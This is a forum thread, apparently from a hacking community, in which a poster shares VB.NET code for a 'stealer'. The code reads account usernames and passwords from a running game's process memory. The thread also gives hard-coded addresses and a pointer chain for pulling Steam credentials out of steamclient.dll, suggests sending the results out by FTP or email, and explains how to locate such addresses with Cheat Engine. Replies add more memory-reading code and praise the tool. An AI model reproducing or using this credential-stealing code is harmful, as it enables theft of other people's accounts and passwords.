[The-One]

Hey,

So, I got this code which reads memory of an address, I tried a few things and I made my new stealer.

This function whas ORIGNIALY made by someone I don't know, but I did remember how it worked so I just rewrote it, still all credits to him.

Code

Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As IntPtr, ByVal lpBaseAddress As Int32, ByRef lpBuffer As Int32, ByVal nSize As Int32, ByVal lpNumberOfBytesWritten As Int32) As Long
    Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As UInteger, ByVal bInheritHandle As Integer, ByVal dwProcessId As UInteger) As IntPtr
    Private Declare Function CloseHandle Lib "kernel32.dll" (ByVal hHandle As IntPtr) As Boolean

    Function Read(ByVal Client As Process, ByVal Address As Int32) As String
  Try
    Dim i As Int32 = 0, j As Int32 = 0, t As IntPtr = OpenProcess(1080, CInt(False), CUInt(Client.Id)), s As String = ""
    Do
    ReadProcessMemory(t, Address + j, i, 1, 0)
    If i <> 0 Then s = s & Chr(i)
    j += 1
    Loop Until i = 0
    CloseHandle(t)
    Return s
  Catch
    Return Nothing
  End Try
    End Function

Okey, we will use this to read something out of a PROCESS.

Code

Dim ACCOUNT As String = ""
  For Each p As Process In Process.GetProcessesByName("MyProcess")
    ACCOUNT = "Username: " & Read(p, game_account) & _
    vbCrLf & "Password: " & Read(p, game_pass) & _
    vbCrLf & "Nickname: " & Read(p, game_nickname) & _
    vbCrLf & "Country: " & Read(p, game_country)
    MsgBox(ACCOUNT)
  Next

Very easy, and clear. I whas using this to test, thats why I call MSGBox, you can let it like normally upload it to a FTP, make it send a mail or whatever you want.

The addresses:

Code

Dim game_server As String = &HC41938
    Dim game_account As String = &HAEAA00
    Dim game_nickname As String = &HAEAC40
    Dim game_pass As String = &HAEAC00
    Dim game_country As String = &HC5FAF4

Using steam:
Spoiler (Click to View)
Username: &H3A2DA5D8
Password: (pointer: steamclient.dll+004037C0 offset1:310 offset2:7E0 offset3:763) - 2A50

Getting password:

Code

For Each p As Process In Process.GetProcessesByName("Steam")
    Dim modules As String = 0
    For Each pm As ProcessModule In p.Modules
    If pm.ModuleName.Contains("steamclient") Then
    modules = pm.BaseAddress
    End If
    Next
    Dim pe As Long = modules + &H4037C0
    Dim p1 As Long = &H7E0
    Dim ADR_password As Long = ADRESSGET(pe, 310, p1, 763, 4) - &H2A50
    MsgBox(Read(p, ADR_password ))

Go to third page of this thread for more info.


Its easy to find them, just use Cheat Engine, hook it up to the process you want to steal, log in, search for you password/username, find a static(green) pointer. Note that '&H' means that we tell VB we are using a address which is (&)Hex. These where found using a disassembler (IDA pro/Olly dbg) but you need to know Assembly for that so if you don't know that wonderful low-level language you'd better stick with Cheat Engine.

Example of a static address, (GREEN = static(Address will only change when program updates), BLACK = dynamic(Address will change everytime you restart the program or function))
[img]http://www.plaatjesupload.nl/bekijk/2011/01/03/1294071481-830.png[/img]

This might not work for some process, for things like chrome, IE, firefox you can better use other methods, but for other things like games, or unstored/saved passwords.

Enjoy.

[fredde_jason]

Hehe, I think I know what game this is made for😁 But you could tell me :)

[The-One]

Hehe, I think I know what game this is made for😁 But you could tell me :)

Well, post and miss 🎉

[The-One]

Tibia!

totototo short and to short again

And he misses. Nope. It isn't browser game.

[stefsot]

Very nice ;). In my memory-editors (simple game hacking :P) I use also a fucntion that supports reading dynamic adresses.

Code

Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal Classname As String, ByVal WindowName As String) As IntPtr
    Public Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As IntPtr, ByRef lpdwProcessId As Integer) As Integer
    Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As IntPtr) As Integer
    Public Declare Function ReadProcessMemory Lib "kernel32" Alias "ReadProcessMemory" (ByVal hProcess As Integer, ByVal lpBaseAddress As Integer, ByRef lpBuffer As Long, ByVal nSize As Integer, ByRef lpNumberOfBytesWritten As Integer) As Integer
    Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Integer, ByVal bInheritHandle As Integer, ByVal dwProcessId As Integer) As IntPtr
    Public Const PROCESS_ACCESS_ALL As Integer = &H1F0FFF
    Function read_memory(ByVal baseaddress As Integer, ByVal offset1 As Integer, ByVal offset2 As Integer, ByVal bytes As Integer)
  Dim read_value As Integer = Nothing
  Dim hWnd As IntPtr, pHandle As IntPtr
  Dim processID As Integer
  Dim RBuff As Long
  Dim fullAddress As Long
  Dim windowname As String
  Dim proc As Process() = Process.GetProcessesByName("your process")
  windowname = proc(0).MainWindowTitle
  hWnd = FindWindow(vbNullString, windowname)
  If Not (hWnd = 0) Then
    GetWindowThreadProcessId(hWnd, processID)
    pHandle = OpenProcess(PROCESS_ACCESS_ALL, 0, processID)
    If Not (pHandle = 0) Then
    ReadProcessMemory(pHandle, baseaddress, RBuff, bytes, 0)
    fullAddress = RBuff + offset1
    ReadProcessMemory(pHandle, fullAddress, RBuff, bytes, 0)
    fullAddress = RBuff + offset2
    End If
    CloseHandle(pHandle)
  End If
  ReadProcessMemory(proc(0).Handle.ToInt32, fullAddress, read_value, bytes, 0)
  Return read_value
    End Function

*note that you can add as many offsets as you need.

[The-One]

Very nice ;). In my memory-editors (simple game hacking :P) I use also a fucntion that supports reading dynamic adresses.

Code

Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal Classname As String, ByVal WindowName As String) As IntPtr
    Public Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As IntPtr, ByRef lpdwProcessId As Integer) As Integer
    Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As IntPtr) As Integer
    Public Declare Function ReadProcessMemory Lib "kernel32" Alias "ReadProcessMemory" (ByVal hProcess As Integer, ByVal lpBaseAddress As Integer, ByRef lpBuffer As Long, ByVal nSize As Integer, ByRef lpNumberOfBytesWritten As Integer) As Integer
    Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Integer, ByVal bInheritHandle As Integer, ByVal dwProcessId As Integer) As IntPtr
    Public Const PROCESS_ACCESS_ALL As Integer = &H1F0FFF
    Function read_memory(ByVal baseaddress As Integer, ByVal offset1 As Integer, ByVal offset2 As Integer, ByVal bytes As Integer)
  Dim read_value As Integer = Nothing
  Dim hWnd As IntPtr, pHandle As IntPtr
  Dim processID As Integer
  Dim RBuff As Long
  Dim fullAddress As Long
  Dim windowname As String
  Dim proc As Process() = Process.GetProcessesByName("your process")
  windowname = proc(0).MainWindowTitle
  hWnd = FindWindow(vbNullString, windowname)
  If Not (hWnd = 0) Then
    GetWindowThreadProcessId(hWnd, processID)
    pHandle = OpenProcess(PROCESS_ACCESS_ALL, 0, processID)
    If Not (pHandle = 0) Then
    ReadProcessMemory(pHandle, baseaddress, RBuff, bytes, 0)
    fullAddress = RBuff + offset1
    ReadProcessMemory(pHandle, fullAddress, RBuff, bytes, 0)
    fullAddress = RBuff + offset2
    End If
    CloseHandle(pHandle)
  End If
  ReadProcessMemory(proc(0).Handle.ToInt32, fullAddress, read_value, bytes, 0)
  Return read_value
    End Function

*note that you can add as many offsets as you need.

Yes, but for the dynamic one you can only use it once, or you have to update your addresses everytime (nah:P)

[Symbiotic]

May I guess? It is for League of Legends.

OT:

Nice contribution, sure it will help a lot of people.

[stefsot]

Yes, but for the dynamic one you can only use it once, or you have to update your addresses everytime (nah:P)

No, you do not have to update every time. Just find a pointer and the offsets that are pointing to the dynamic address and here you are!

[The-One]

No, you do not have to update every time. Just find a pointer and the offsets that are pointing to the dynamic address and here you are!

But then you can use the base_adr of the pointer with the offset, then its already static.

May I guess? It is for League of Legends.

OT:

Nice contribution, sure it will help a lot of people.

Nope. xD Thanks. 🤗

[spike2147]

Hehe i know it. Not gonna say because everyone's gonna use itxD

Good work. Keep it up.
Sorry for what happened on msn 3-01:P

[KingCobraXD]

WOW! This is very nice. So maybe this is how P Y R O created his steam stealer..+rep for u. =)

[The-One]

WOW! This is very nice. So maybe this is how P Y R O created his steam stealer..+rep for u. =)

Yea, maybe who knows :)

Spoiler (Click to View)

Code

'Updated on 1-1-2011
Steam user name address: &H3A2DA5D8
Find password yourself, see and try :)

Hehe i know it. Not gonna say because everyone's gonna use itxD

Good work. Keep it up.
Sorry for what happened on msn 3-01:P

Haha, yea np man. Happens all the time.

[Modesty]

WOW! This is very nice. So maybe this is how P Y R O created his steam stealer..+rep for u. =)

Uh I never created a steam stealer xD I think you've got the wrong guy ;)

[Kōtei]

WoW
Maplestory
Mabinogi
Rakion
FlyFF
Combat Arms
Counter Strike

[The-One]

WoW
Maplestory
Mabinogi
Rakion
FlyFF
Combat Arms
Counter Strike

No
No
No
No
No
No
No

Lol :P 🎉